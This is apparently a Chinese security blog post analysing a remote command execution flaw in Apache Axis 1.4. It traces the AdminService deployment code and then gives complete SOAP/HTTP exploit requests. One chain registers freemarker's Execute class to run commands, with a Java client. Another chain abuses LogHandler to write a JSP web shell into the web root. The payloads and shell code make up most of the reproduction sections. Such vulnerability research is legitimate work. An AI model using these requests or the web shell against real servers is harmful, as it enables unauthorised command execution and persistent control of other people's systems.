Axis Rce分析

0x01 环境搭建

在idea中选择new-project-webservice然后再选择axis,就可以自动下载相关所需要的文件了。

当然在axis的官方下载仓库中也有相关测试代码,下载完导入的tomcat中部署运行一下就好了,然后将enableRemoteAdmin的值修改为true,当然如果你本地调试的话这个值是可以不用改的。

0x02 漏洞分析

首先我们先在 server-config.wsdd 文件中看看一个 service 服务的这些标签都是干什么用的。

1
2
3
4
5
6
<service name="AdminService" provider="java:MSG">
<parameter name="allowedMethods" value="AdminService"/>
<parameter name="enableRemoteAdmin" value="true"/>
<parameter name="className" value="org.apache.axis.utils.Admin"/>
<namespace>http://xml.apache.org/axis/wsdd/</namespace>
</service>

这里的 allowMethods 实际上对应名字是 AdminService 的方法,而 className 意思对应的是相关类,这里是org.apache.axis.utils.Admin,而 enableRemoteAdmin 则是表示是否支持远程访问,而经过这样配置之后,就可以通过SOAP的办法去调用org.apache.axis.utils.Admin#AdminService了。

我们详细跟进这个方法看一下,首先我们传入的soap数据包进来之后会调用 process 方法来进行操作,操作部分的内容 xml[0] 实际上是我们可控的。

跟进 process 方法,首先会调用 verifyHostAllowed 来判断来源ip,这里可以跟进一下。

1
2
3
4
5
6
7
8
9
10
public Document process(MessageContext msgContext, Element root) throws Exception {
this.verifyHostAllowed(msgContext);
String rootNS = root.getNamespaceURI();
AxisEngine engine = msgContext.getAxisEngine();
if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) {
return processWSDD(msgContext, engine, root);
} else {
throw new Exception(Messages.getMessage("adminServiceNoWSDD"));
}
}

verifyHostAllowed 中判断了enableRemoteAdmin 的值,如果这个 enableRemoteAdmin 不是为true的话,那么就会针对请求的ip进行判断,这里的要求是本地访问。

然后再回过头来,如果在我们的soap请求数据包中命中了http://xml.apache.org/axis/wsdd/,那么就会调用 processWSDD 方法来处理我们传入的数据,而这里传入的root变量是可控的。

processWSDD 方法中,我们的root变量中带有的数据被带入了 WSDDDocument 方法进行处理。

跟进 WSDDDocument 方法,在通过 getLocalName 获取到我们传入的root变量中 localName 的值为 deployment ,就会继续调用 WSDDDeployment 方法进行处理了。

跟进 WSDDDeployment 方法,这个方法主要作用就是解析我们传入的数据的各个子节点,我们关注一下service节点。

deployService 方法调用的是 deployToRegistry 方法

1
2
3
public void deployService(WSDDService service) {
service.deployToRegistry(this);
}

跟进 deployToRegistry 方法,这个方法的主要作用就是注册我们传入services。

1
2
3
4
5
6
7
8
9
10
11
public void deployToRegistry(WSDDDeployment registry) {
registry.addService(this);
registry.registerNamespaceForService(this.getQName().getLocalPart(), this);

for(int i = 0; i < this.namespaces.size(); ++i) {
String namespace = (String)this.namespaces.elementAt(i);
registry.registerNamespaceForService(namespace, this);
}

super.deployToRegistry(registry);
}

然后最后调用 saveConfiguration 方法。

这个方法的作用就是将结果写到配置文件里。

0x03 漏洞复现

我们传入的xml格式的soap数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /axis_war/services/AdminService?wsdl HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: localhost:8888
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 564

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="l1nk3r" provider="java:RPC">
<parameter name="className" value="com.l1nk3r.test"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment></soapenv:Body></soapenv:Envelope>

然后我们看看,已经成功写到了 server-config.wsdd 配置文件中。

在访问看看,我们发现axis的写入service操作之后不需要重启中间件,这为攻击提供了便利。

而从预警中看到这么一句

Apache AXIS中的freemarker组件中调用template.utility.Execute类时存在远程命令执行攻击

而在axis并没有发现自带freemarker,所以这里我下载了一下 freemarker-2.3.23.jar ,导入到axis中,在

freemarker.template.utility.Execute#exec中传入的对象是list,然后可以直接执行命令。

也就是说这里分两步,第一步注册 freemarker.template.utility.Execute 这个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /services/AdminService?wsdl HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: locathost:8080
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 594

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="freemarker" provider="java:RPC">
<parameter name="className" value="freemarker.template.utility.Execute"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment>
</soapenv:Body></soapenv:Envelope>

第二步调用exec执行命令,当然如果不会构造数据包的话,可以写一个java客户端,然后wireshark抓包导入到burp中。

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Exception {
String wsdlAddress = "http://127.0.0.1/services/freemarker?wsdl";
Service service = new Service();
Call call = (Call) service.createCall();
call.setTargetEndpointAddress(wsdlAddress);
List<String> list = new ArrayList<String>();
list.add("open /Applications/Calculator.app");
String val = (String) call.invoke("exec", new Object[] {list});
System.out.println("这是webservice服务器返回的信息:\n" + val);
}
1
2
3
4
5
6
7
8
9
10
11
POST /axis_war/services/freemarker?wsdl HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: locathost:8080
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 670

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">open /Applications/Calculator.app</multiRef></multiRef></soapenv:Body></soapenv:Envelope>

0x04 后记

其实我觉得这是axis的一个正常功能,如果只是配合freemarker一起用有点不太好用,所以可以试试看找一找有没有内置的方法,然后有个大哥找到一个方法写文件的。

第一步记录日志,创建文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /axis_war/services/AdminService?wsdl HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: locathost:8080
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1061

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>

第二步写入shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /axis_war/services/RandomService HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: locathost:8080
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 874

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>

第三步访问shell执行命令。

Reference

Axis 1.4 远程命令执行(RCE) POC